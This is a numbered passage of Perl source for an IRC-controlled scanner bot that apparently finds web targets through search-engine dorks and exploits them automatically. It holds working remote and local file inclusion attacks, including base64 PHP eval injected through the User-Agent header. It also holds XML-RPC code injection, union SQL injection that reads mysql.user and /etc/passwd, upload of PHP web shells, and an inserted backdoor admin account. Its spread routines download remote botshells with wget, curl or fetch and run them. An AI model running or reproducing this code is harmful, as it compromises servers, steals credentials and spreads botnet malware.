  625. if ($pid = fork) { waitpid($pid, 0); }
  626. else { if (fork) { exit; } else {
  627. &type($chan,$bug,$dork,"LyCos",$type);
  628. } exit; }
  629. }
  630.  
  631. if ($engine =~ /hotbot/i) {
  632. if ($pid = fork) { waitpid($pid, 0); }
  633. else { if (fork) { exit; } else {
  634. &type($chan,$bug,$dork,"HotBot",$type);
  635. } exit; }
  636. }
  637.  
  638. if ($engine =~ /aol/i) {
  639. if ($pid = fork) { waitpid($pid, 0); }
  640. else { if (fork) { exit; } else {
  641. &type($chan,$bug,$dork,"AoL",$type);
  642. } exit; }
  643. }
  644.  
  645. if ($engine =~ /sapo/i) {
  646. if ($pid = fork) { waitpid($pid, 0); }
  647. else { if (fork) { exit; } else {
  648. &type($chan,$bug,$dork,"SaPo",$type);
  649. } exit; }
  650. }
  651.  
  652. if ($engine =~ /duck/i) {
  653. if ($pid = fork) { waitpid($pid, 0); }
  654. else { if (fork) { exit; } else {
  655. &type($chan,$bug,$dork,"DuCk",$type);
  656. } exit; }
  657. }
  658.  
  659. if ($engine =~ /lygo/i) {
  660. if ($pid = fork) { waitpid($pid, 0); }
  661. else { if (fork) { exit; } else {
  662. &type($chan,$bug,$dork,"LyGo",$type);
  663. } exit; }
  664. }
  665.  
  666. if ($engine =~ /yause/i) {
  667. if ($pid = fork) { waitpid($pid, 0); }
  668. else { if (fork) { exit; } else {
  669. &type($chan,$bug,$dork,"YauSe",$type);
  670. } exit; }
  671. }
  672.  
  673. if ($engine =~ /baidu/i) {
  674. if ($pid = fork) { waitpid($pid, 0); }
  675. else { if (fork) { exit; } else {
  676. &type($chan,$bug,$dork,"BaiDu",$type);
  677. } exit; }
  678. }
  679.  
  680. if ($engine =~ /kipot/i) {
  681. if ($pid = fork) { waitpid($pid, 0); }
  682. else { if (fork) { exit; } else {
  683. &type($chan,$bug,$dork,"KiPoT",$type);
  684. } exit; }
  685. }
  686.  
  687. if ($engine =~ /gibla/i) {
  688. if ($pid = fork) { waitpid($pid, 0); }
  689. else { if (fork) { exit; } else {
  690. &type($chan,$bug,$dork,"GiBLa",$type);
  691. } exit; }
  692. }
  693.  
  694. if ($engine =~ /black/i) {
  695. if ($pid = fork) { waitpid($pid, 0); }
  696. else { if (fork) { exit; } else {
  697. &type($chan,$bug,$dork,"BLacK",$type);
  698. } exit; }
  699. }
  700.  
  701. if ($engine =~ /onet/i) {
  702. if ($pid = fork) { waitpid($pid, 0); }
  703. else { if (fork) { exit; } else {
  704. &type($chan,$bug,$dork,"oNeT",$type);
  705. } exit; }
  706. }
  707.  
  708. if ($engine =~ /sizuka/i) {
  709. if ($pid = fork) { waitpid($pid, 0); }
  710. else { if (fork) { exit; } else {
  711. &type($chan,$bug,$dork,"SiZuka",$type);
  712. } exit; }
  713. }
  714.  
  715. if ($engine =~ /walla/i) {
  716. if ($pid = fork) { waitpid($pid, 0); }
  717. else { if (fork) { exit; } else {
  718. &type($chan,$bug,$dork,"WaLLa",$type);
  719. } exit; }
  720. }
  721.  
  722. if ($engine =~ /demos/i) {
  723. if ($pid = fork) { waitpid($pid, 0); }
  724. else { if (fork) { exit; } else {
  725. &type($chan,$bug,$dork,"DeMos",$type);
  726. } exit; }
  727. }
  728.  
  729. if ($engine =~ /rose/i) {
  730. if ($pid = fork) { waitpid($pid, 0); }
  731. else { if (fork) { exit; } else {
  732. &type($chan,$bug,$dork,"RoSe",$type);
  733. } exit; }
  734. }
  735.  
  736. if ($engine =~ /seznam/i) {
  737. if ($pid = fork) { waitpid($pid, 0); }
  738. else { if (fork) { exit; } else {
  739. &type($chan,$bug,$dork,"SeZnaM",$type);
  740. } exit; }
  741. }
  742.  
  743. if ($engine =~ /tiscali/i) {
  744. if ($pid = fork) { waitpid($pid, 0); }
  745. else { if (fork) { exit; } else {
  746. &type($chan,$bug,$dork,"TisCali",$type);
  747. } exit; }
  748. }
  749.  
  750. if ($engine =~ /naver/i) {
  751. if ($pid = fork) { waitpid($pid, 0); }
  752. else { if (fork) { exit; } else {
  753. &type($chan,$bug,$dork,"NaVeR",$type);
  754. } exit; }
  755. }
  756. }
  757.  
  758. #########################################
  759.  
  760. sub rfi() {
  761. my $chan = $_[0];
  762. my $bug = $_[1];
  763. my $dork = $_[2];
  764. my $engine = $_[3];
  765. my $count = 0;
  766. my @list = &search_engine($chan,$bug,$dork,$engine,$rfilogo);
  767. my $num = scalar(@list);
  768. if ($num > 0) {
  769. foreach my $site (@list) {
  770. $count++;
  771. if ($count == $num-1) { &msg("$chan","$rfilogo(4@9$engine15)10 Scan finish"); }
  772. my $coba = "http://".$site.$bug."test??";
  773. my $test = "http://".$site.$bug.$injector."??";
  774. my $dor = "http://".$site.$bug.$botshell."??";
  775. my $dor2 = "http://".$site.$bug.$botshell2."??";
  776. my $cek = &get_content($coba);sleep(1);
  777. &get_content($dor);sleep(1);
  778. &get_content($dor2);sleep(1);
  779. if ($cek =~ /failed to open stream/i) {
  780. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  781. &rfi_xpl($test,$chan,$site);
  782. exit;}
  783. }
  784. }
  785. }
  786. }
  787. }
  788.  
  789. sub rfi_xpl() {
  790. my $url = $_[0];
  791. my $chan = $_[1];
  792. my $site = $_[2];
  793. my $dor = $url.$botshell."??";
  794. my $dor2 = $url.$botshell2."??";
  795. my $test = $url.$injector."??";
  796. my $vuln = $url."14(ByroeNet)";
  797. my $check = &get_content($test);
  798. &get_content($dor);sleep(1);
  799. &get_content($dor2);sleep(1);
  800. if ( $check =~ /JANCOK- exploit/i ) {
  801. my $safe ="";
  802. my $os ="";
  803. my $free ="";
  804. if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
  805. if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
  806. if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
  807. if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
  808. &msg("$chan","$rfilogo(4@9VuLn15)13 ".$vuln."9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)(4@9safemode-off15)");
  809. &msg("$admin","$rfilogo(4@9VuLn15)13 ".$vuln."9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");
  810. }
  811. else {&msg("$chan","$rfilogo(4@9VuLn15)10 ".$vuln." (4@7safemode-on15)");}
  812. }
  813.  
  814. sub lfi() {
  815. my $chan = $_[0];
  816. my $bug = $_[1];
  817. my $dork = $_[2];
  818. my $engine = $_[3];
  819. my $count = 0;
  820. my @list = &search_engine($chan,$bug,$dork,$engine,$lfilogo);
  821. my $num = scalar(@list);
  822. if ($num > 0) {
  823. foreach my $site (@list) {
  824. $count++;
  825. if ($count == $num-1) { &msg("$chan","$lfilogo(4@9$engine15)10 Scan finish"); }
  826. my $dir = "../../../../../../../../../../../../../";
  827. my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000";
  828. my $vuln = "http://".$site."12".$bug.$dir."/proc/self/environ%0000";
  829. my $shell = "http://".$site."12".$bug.$dir."/tmp/ipays%0000";
  830. my $html = &get_content($test);
  831. if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) {
  832. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  833. my $code = 'echo "c0li#".php_uname()."#c0li".get_current_user();if(@copy("'.$injector.'","/tmp/ipays")) { echo "SUCCESS";@copy("'.$botshell.'","/tmp/dev");@copy("'.$botshell2.'","/tmp/maza"); }';
  834. my $res = lfi_env_query($test,encode_base64($code));
  835. &lfi_spread_query($test);
  836. &get_content("http://".$site.$bug.$dir."/tmp/dev%0000");sleep(2);
  837. &get_content("http://".$site.$bug.$dir."/tmp/maza%0000");
  838. $res =~ s/\n//g;
  839. if ($res =~ /c0li#(.*)#c0li(.*)SUCCESS/sg) {
  840. my $sys = $1;
  841. $nob0dy = $2;
  842. &msg("$chan","$lfilogo(4@8$engine15)15(4@9SHeLL15)13 ".$shell." 15(4@9".$sys."15))15(4@9$nob0dy15)");sleep(2);
  843. }
  844. elsif ($res =~ /c0li#(.*)#c0li(.*)/sg) {
  845. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  846. my $sys = $1;
  847. $nob0dy = $2;
  848. my $upload = 'system("killall -9 perl;killall -9 php;wget '.$injector.' -O aspaltx.php;fetch '.$injector.';mv ipays.jpg aspaltx.php;wget '.$botshell.' -O byroe.php;fetch '.$botshell.';mv byroe.jpg byroe.php;wget '.$botshell2.' -O allnet.php;fetch '.$botshell2.';mv allnet.jpg allnet.php;");passthru("killall -9 perl;killall -9 php;wget '.$injector.' -O aspaltx.php;fetch '.$injector.';mv ipays.jpg aspaltx.php;wget '.$botshell.' -O byroe.php;fetch '.$botshell.';mv byroe.jpg byroe.php;wget '.$botshell2.' -O allnet.php;fetch '.$botshell2.';mv allnet.jpg allnet.php;");';
  849. my $wget = lfi_env_query($test,encode_base64($upload)); sleep(2);
  850. my $check = &get_content("http://".$site.$bug.$dir."/tmp/ipays%0000"); sleep(2);
  851. &get_content("http://".$site.$bug.$dir."/tmp/dev%0000");sleep(2);
  852. &get_content("http://".$site.$bug.$dir."/tmp/maza%0000");sleep(2);
  853. if ($check =~ /JANCOK- exploit/) {
  854. &msg("$chan","$lfilogo(4@8$engine15)15(4@9SHeLL15)13 ".$shell." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2);
  855. &msg("$admin","$lfilogo(4@8$engine15)15(4@9SHeLL15)13 ".$shell." 15(4@3".$sys."15)15(4@9$nob0dy15)");sleep(2);
  856. }
  857. else {
  858. &msg("$chan","$lfilogo(4@8$engine15)15(4@9SysTem15)7 ".$vuln." 15(4@3".$sys."15))15(4@9$nob0dy15)");sleep(2);
  859. }
  860. } exit; }
  861. }
  862. else { &msg("$chan","$lfilogo(4@8$engine15)15(4@9EnviRon15)10 ".$vuln); }
  863. } exit; } sleep(2);
  864. }
  865. }
  866. }
  867. }
  868.  
  869. sub lfi_env_query() {
  870. my $url = $_[0];
  871. my $code = $_[1];
  872. my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".$code."'));?>");
  873. $ua->timeout(7);
  874. my $req = HTTP::Request->new(GET => $url);
  875. my $res = $ua->request($req);
  876. return $res->content;
  877. }
  878.  
  879. sub lfi_spread_query() {
  880. my $url = $_[0];
  881. my $code = "system('cd /tmp;rm -rf allnet.* *.jpg.*;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;cd /var/tmp;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;rm -rf *.jp*;');";
  882. my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".encode_base64($code)."'));?>");
  883. $ua->timeout(7);
  884. my $req = HTTP::Request->new(GET => $url);
  885. my $res = $ua->request($req);
  886. }
  887.  
  888. sub xml() {
  889. my $chan = $_[0];
  890. my $bug = $_[1];
  891. my $dork = $_[2];
  892. my $engine = $_[3];
  893. my $count = 0;
  894. my @list = &search_engine($chan,$bug,$dork,$engine,$xmllogo);
  895. my $num = scalar(@list);
  896. if ($num > 0) {
  897. foreach my $site (@list) {
  898. $count++;
  899. if ($count == $num-1) { &msg("$chan","$xmllogo(4@8$engine15)10 Scan finish"); }
  900. my $test = "http://".$site.$bug;
  901. my $vuln = "http://".$site."13".$bug;
  902. my $html = &get_content($test);
  903. if ($html =~ /faultCode/ ) {
  904. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  905. my $resp = &xml_cek_query($test);
  906. if ($resp =~ /j13mb0t(.*)j13mb0t/s) {
  907. &xml_spread_query($test);sleep(2);
  908. my $sys = $1;
  909. my $check = &get_content("http://".$site."aspaltx.php");
  910. &get_content("http://".$site."byroe.php");
  911. &get_content("http://".$site."allnet.php");
  912. if ($check =~ /JANCOK- exploit/) {
  913. &msg("$chan","$xmllogo(4@8$engine15)15(13@9SheLL15)13 http://".$site."7aspaltx.php 3".$sys);&get_content("http://".$site."byroe.php"); sleep(2);}
  914. else {
  915. &msg("$chan","$xmllogo(4@8$engine15)15(4@9SysTem15)7 ".$vuln." 3".$sys); sleep(2);}
  916. }
  917. sleep(2); } exit; } }
  918. }
  919. }
  920. }
  921.  
  922. sub xml_cek_query() {
  923. my $url = $_[0];
  924. my $code = "system('uname -a');";
  925. my $ua = LWP::UserAgent->new(agent => 'perl post');
  926. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  927. $exploit .= "<methodName>test.method</methodName>";
  928. $exploit .= "<params><param><value><name>',''));";
  929. $exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";
  930. $ua->timeout(7);
  931. my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
  932. return $res->content;
  933. }
  934.  
  935. sub xml_spread_query() {
  936. my $xmltargt = $_[0];
  937. my $xmlsprd = "system('wget ".$injector." -O aspaltx.php;fetch ".$injector.";mv ipays.jpg aspaltx.php;wget ".$botshell." -O byroe.php;fetch ".$botshell.";mv byroe.jpg byroe.php;wget ".$botshell2." -O allnet.php;fetch ".$botshell2.";mv allnet.jpg allnet.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;wget ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;curl -O ".$botshell.";php byroe.jpg;rm -rf byroe.jpg;lwp-download ".$botshell.";php byroe.jpg;fetch ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;wget ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;curl -O ".$botshell2.";php allnet.jpg;rm -rf allnet.jpg;lwp-download ".$botshell2.";php allnet.jpg;');";
  938. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  939. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  940. $exploit .= "<methodName>test.method</methodName>";
  941. $exploit .= "<params><param><value><name>',''));";
  942. $exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*</name></value></param></params></methodCall>";
  943. $userAgent->timeout(7);
  944. $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
  945. }
  946.  
  947. sub sql() {
  948. my $chan = $_[0];
  949. my $bug = $_[1];
  950. my $dork = $_[2];
  951. my $engine = $_[3];
  952. my $count = 0;
  953. my @list = &search_engine($chan,$bug,$dork,$engine,$sqllogo);
  954. my $num = scalar(@list);
  955. if ($num > 0) {
  956. foreach my $site (@list) {
  957. $count++;
  958. if ($count == $num-1) { &msg("$chan","$sqllogo(4@8$engine15)10 Scan finish"); }
  959. my $test = "http://".$site.$bug."'";
  960. my $vuln = "http://".$site."4".$bug;
  961. my $sqlsite = "http://".$site.$bug;
  962. my $html = &get_content($test);
  963. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  964. if ($html =~ m/You have an error in your SQL syntax/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
  965. &sqlbrute($sqlsite,$chan,$engine);}
  966. elsif ($html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
  967. &msg("$chan","$sqllogo(4@8$engine15)15(4@9MsSQL15)13 ".$vuln);}
  968. elsif ($html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i || $html =~ m/Microsoft OLE DB Provider for Oracle/i ) {
  969. &msg("$chan","$sqllogo(4@8$engine15)15(4@9MsAccess15)13 ".$vuln);}
  970. elsif ($html =~ m/mysql_/i || $html =~ m/Division by zero in/i || $html =~ m/mysql_fetch_array/i ) {
  971. &sqlbrute($sqlsite,$chan,$engine);}
  972. } exit; sleep(2); }
  973. }
  974. }
  975. }
  976. sub sqlbrute() {
  977. my $situs=$_[0];
  978. my $chan =$_[1];
  979. my $engine=$_[2];
  980. my $columns=20;
  981. my $cfin.="--";
  982. my $cmn.= "+";
  983. for ($column = 0 ; $column < $columns ; $column ++)
  984. {
  985. $union.=','.$column;
  986. $inyection.=','."0x6c6f67696e70776e7a";
  987. if ($column == 0)
  988. {
  989. $inyection = '';
  990. $union = '';
  991. }
  992. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
  993. $response=get($sql);
  994. if($response =~ /loginpwnz/)
  995. {
  996. $column ++;
  997. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
  998. &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)13 $sql ");
  999. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
  1000. $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
  1001. if($response =~ /loginpwnz/)
  1002. {
  1003. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
  1004. &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13INFO_SCHEMA15)13 $sql ");
  1005. }
  1006. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
  1007. $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
  1008. if($response =~ /loginpwnz/)
  1009. {
  1010. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
  1011. &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13USER15)13 $sql ");
  1012. }
  1013. else
  1014. {
  1015. }
  1016. while ($loadcont < $column-1)
  1017. {
  1018. $loadfile.=','.'load_file(0x2f6574632f706173737764)';
  1019. $loadcont++;
  1020. }
  1021. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
  1022. $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
  1023. if($response =~ /root:x:/)
  1024. {
  1025. &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Load File15)13 $sql ");
  1026. }
  1027. else
  1028. {
  1029. }
  1030. foreach $tabla(@tabele)
  1031. {
  1032. chomp($tabla);
  1033. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  1034. $response=get($sql)or die("[-] Impossible to get tables\n");
  1035. if($response =~ /loginpwnz/)
  1036. {
  1037. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
  1038. &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Tabel15)13 $sql ");
  1039. &tabelka($situs,$tabla,$chan,$engine);
  1040. }
  1041. }
  1042. }
  1043. }
  1044. }
  1045.  
  1046. sub tabelka() {
  1047. my $situs =$_[0];
  1048. my $tabla =$_[1];
  1049. my $chan =$_[2];
  1050. my $engine=$_[3];
  1051. my $cfin.="--";
  1052. my $cmn.= "+";
  1053. chomp($tabla);
  1054. foreach $columna(@kolumny)
  1055. {
  1056. chomp($columna);
  1057. $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  1058. $response=get($sql)or die("[-] Impossible to get columns\n");
  1059. if ($response =~ /loginpwnz/)
  1060. {
  1061. &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13SQLi Vuln15)9 $situs 14(4@13Kolom14)13 $columna 14(4@13Tabel14)13 $tabla ");
  1062. }
  1063. }
  1064.  
  1065. }
  1066.  
  1067. sub osco() {
  1068. my $chan = $_[0];
  1069. my $bug = $_[1];
  1070. my $dork = $_[2];
  1071. my $engine = $_[3];
  1072. my $count = 0;
  1073. my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  1074. my $num = scalar(@list);
  1075. if ($num > 0) {
  1076. foreach my $site (@list) {
  1077. $count++;
  1078. if ($count == $num-1) { &msg("$chan","$oscologo(4@8$engine15)10 Scan finish"); }
  1079. my $test = "http://".$site.$bug;
  1080. my $html = &get_content($test);
  1081. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1082. if ($html =~ /Warning: No file uploaded/ ) {
  1083. # &msg("$chan","$oscologo(4@8$engine15)15(4@9System15)7 ".$test);
  1084. &osco_xpl($test,$chan,$site,$engine);
  1085. } else { }
  1086. } exit; sleep(2); }
  1087. }
  1088. }
  1089. }
  1090.  
  1091. sub osco_xpl() {
  1092. my $browser = LWP::UserAgent->new;
  1093. my $url = $_[0];
  1094. my $chan = $_[1];
  1095. my $site = $_[2];
  1096. my $engine = $_[3];
  1097. my $res = $browser->post( $url,['products_image' => ['./ipays.jpg' => 'bronsx.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1098. my $resa = $browser->post( $url,['products_image' => ['./maza.jpg' => 'aspaltx.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1099. my $resb = $browser->post( $url,['products_image' => ['./byroe.jpg' => 'byroe.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1100. my $resc = $browser->post( $url,['products_image' => ['./allnet.jpg' => 'allnet.html' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1101. my $hasil = $res->as_string;
  1102. my $hasil1 = $resa->as_string;
  1103. my $hasil2 = $resb->as_string;
  1104. my $hasil3 = $resc->as_string;
  1105. my $check = &get_content("http://".$site."images/aspaltx.php");&get_content("http://".$site."images/byroe.php");&get_content("http://".$site."images/allnet.html");sleep(3);
  1106. if ($check =~ /JANCOK- exploit/) {
  1107. my $safe ="";
  1108. my $os ="";
  1109. my $free ="";
  1110. if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
  1111. if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
  1112. if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
  1113. if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
  1114. &msg("$chan","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4aspaltx.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
  1115. &msg("$admin","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4allnet.html 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
  1116. }
  1117. }
  1118.  
  1119. sub osco2() {
  1120. my $chan = $_[0];
  1121. my $bug = $_[1];
  1122. my $dork = $_[2];
  1123. my $engine = $_[3];
  1124. my $count = 0;
  1125. my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  1126. my $num = scalar(@list);
  1127. if ($num > 0) {
  1128. foreach my $site (@list) {
  1129. $count++;
  1130. if ($count == $num-1) { &msg("$chan","$oscologo(4@8$engine15)10 Scan finish"); }
  1131. my $test = "http://".$site.$bug;
  1132. my $html = &get_content($test);
  1133. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1134. if ($html =~ /TABLE_HEADING_FILENAME/ ) {
  1135. # &msg("$chan","$oscologo(4@8$engine15)15(4@9System15)7 ".$test);
  1136. &osco_xpl2($test,$chan,$site,$engine);
  1137. } else { }
  1138. } exit; sleep(2); }
  1139. }
  1140. }
  1141. }
  1142.  
  1143. sub osco_xpl2() {
  1144. my $browser = LWP::UserAgent->new;
  1145. my $url = $_[0]."?action=processuploads";
  1146. my $chan = $_[1];
  1147. my $site = $_[2];
  1148. my $engine = $_[3];
  1149. my $res = $browser->post( $url,['file_1' => ['./ipays.jpg' => 'bronsx.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1150. my $resa = $browser->post( $url,['file_1' => ['./maza.jpg' => 'aspaltx.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1151. my $resb = $browser->post( $url,['file_1' => ['./byroe.jpg' => 'byroe.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1152. my $resc = $browser->post( $url,['file_1' => ['./allnet.jpg' => 'allnet.html' => 'application/octet-stream']],'Content-Type' => 'form-data');
  1153. my $hasil = $res->as_string;
  1154. my $hasil1 = $resa->as_string;
  1155. my $hasil2 = $resb->as_string;
  1156. my $hasil3 = $resc->as_string;
  1157. my $check = &get_content("http://".$site."images/aspaltx.php");&get_content("http://".$site."images/byroe.php");&get_content("http://".$site."images/allnet.html");sleep(3);
  1158. if ($check =~ /JANCOK- exploits/) {
  1159. my $safe ="";
  1160. my $os ="";
  1161. my $free ="";
  1162. if ($check =~ m/Software : (.*?)<\/u><\/b><\/a><br>/) {$soft = $1;}
  1163. if ($check =~ m/SAFE MODE is (.*?)<\/b><\/font>/) {$safe = $1;}
  1164. if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
  1165. if ($check =~ m/Freespace : (.*?)<\/p><\/td><\/tr>/) {$free = $1;}
  1166. &msg("$chan","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4aspaltx.php 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
  1167. &msg("$admin","$oscologo(4@8$engine15)15(4@9SHeLL15)13 http://".$site."images/4allnet.html 9(4@15SafeMode= $safe9)(4@15OS= $os9)(4@15FreeSpace= $free9)");sleep(2);
  1168. }
  1169. }
  1170.  
  1171. sub loko() {
  1172. my $chan = $_[0];
  1173. my $bug = $_[1];
  1174. my $dork = $_[2];
  1175. my $engine = $_[3];
  1176. my $count = 0;
  1177. my @list = &search_engine($chan,$bug,$dork,$engine,$lokologo);
  1178. my $num = scalar(@list);
  1179. if ($num > 0) {
  1180. foreach my $site (@list) {
  1181. $count++;
  1182. if ($count == $num-1) { &msg("$chan","$lokologo(4@8$engine15)10 Scan finish"); }
  1183. my $test = "http://".$site."filemanager/browser.html";
  1184. my $vuln = "http://".$site."filemanager/browser.html";
  1185. my $re = &get_content($test);
  1186. if ($re =~ /$loko_output/){
  1187. &msg("$chan", "$lokologo(4@8$engine15)(4@13VulN15)13 ".$vuln."15(4@0UPLOAD15)");
  1188. }
  1189. }
  1190. }
  1191. }
  1192.  
  1193. sub op() {
  1194. my $chan = $_[0];
  1195. my $bug = $_[1];
  1196. my $dork = $_[2];
  1197. my $engine = $_[3];
  1198. my $count = 0;
  1199. my @list = &search_engine($chan,$bug,$dork,$engine,$oplogo);
  1200. my $num = scalar(@list);
  1201. if ($num > 0) {
  1202. foreach my $site (@list) {
  1203. $count++;
  1204. if ($count == $num-1) { &msg("$chan","$oplogo(4@8$engine15)10 Scan finish"); }
  1205. my $test = "http://".$site.$open_test;
  1206. my $vuln = "http://".$site."admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html";
  1207. my $re = &get_content($test);
  1208. if ($re =~ /$open_output/){
  1209. &msg("$chan", "$oplogo(4@8$engine15)(4@13VulN15)13 ".$vuln."15(4@0UPLOAD15)");
  1210. }
  1211. }
  1212. }
  1213. }
  1214.  
  1215. sub zen() {
  1216. my $chan = $_[0];
  1217. my $bug = $_[1];
  1218. my $dork = $_[2];
  1219. my $engine = $_[3];
  1220. my $count = 0;
  1221. my @list = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
  1222. my $num = scalar(@list);
  1223. if ($num > 0) {
  1224. foreach my $site (@list) {
  1225. $count++;
  1226. if ($count == $num-1) { &msg("$chan","$zenlogo(4@8$engine15)10 Scan finish"); }
  1227. my $test = "http://".$site."admin/record_company.php/password_forgotten.php?action=insert";
  1228. my $vuln = "http://".$site."images/4brons.php";
  1229. my $que = "INSERT INTO admin (admin_id, admin_name, admin_email, admin_pass) VALUES (56,'adminsys','admin@mazacrew.co.cc','617ec22fbb8f201c366e9848c0eb6925:87');";
  1230. my $re = &get_content($vuln);
  1231. if ($re =~ /JANCOK- exploit/i){
  1232. &msg("$chan", "$zenlogo(4@8$engine15)(4@13Shell15)13 ".$vuln."");
  1233. }
  1234. else{
  1235. # &msg("$chan", "$zenlogo(4@8$engine15)(4@13GaGaL15)4 ".$vuln."15(4@9Ab0rteD15)");
  1236. }
  1237. }
  1238. }
  1239. }
  1240.  
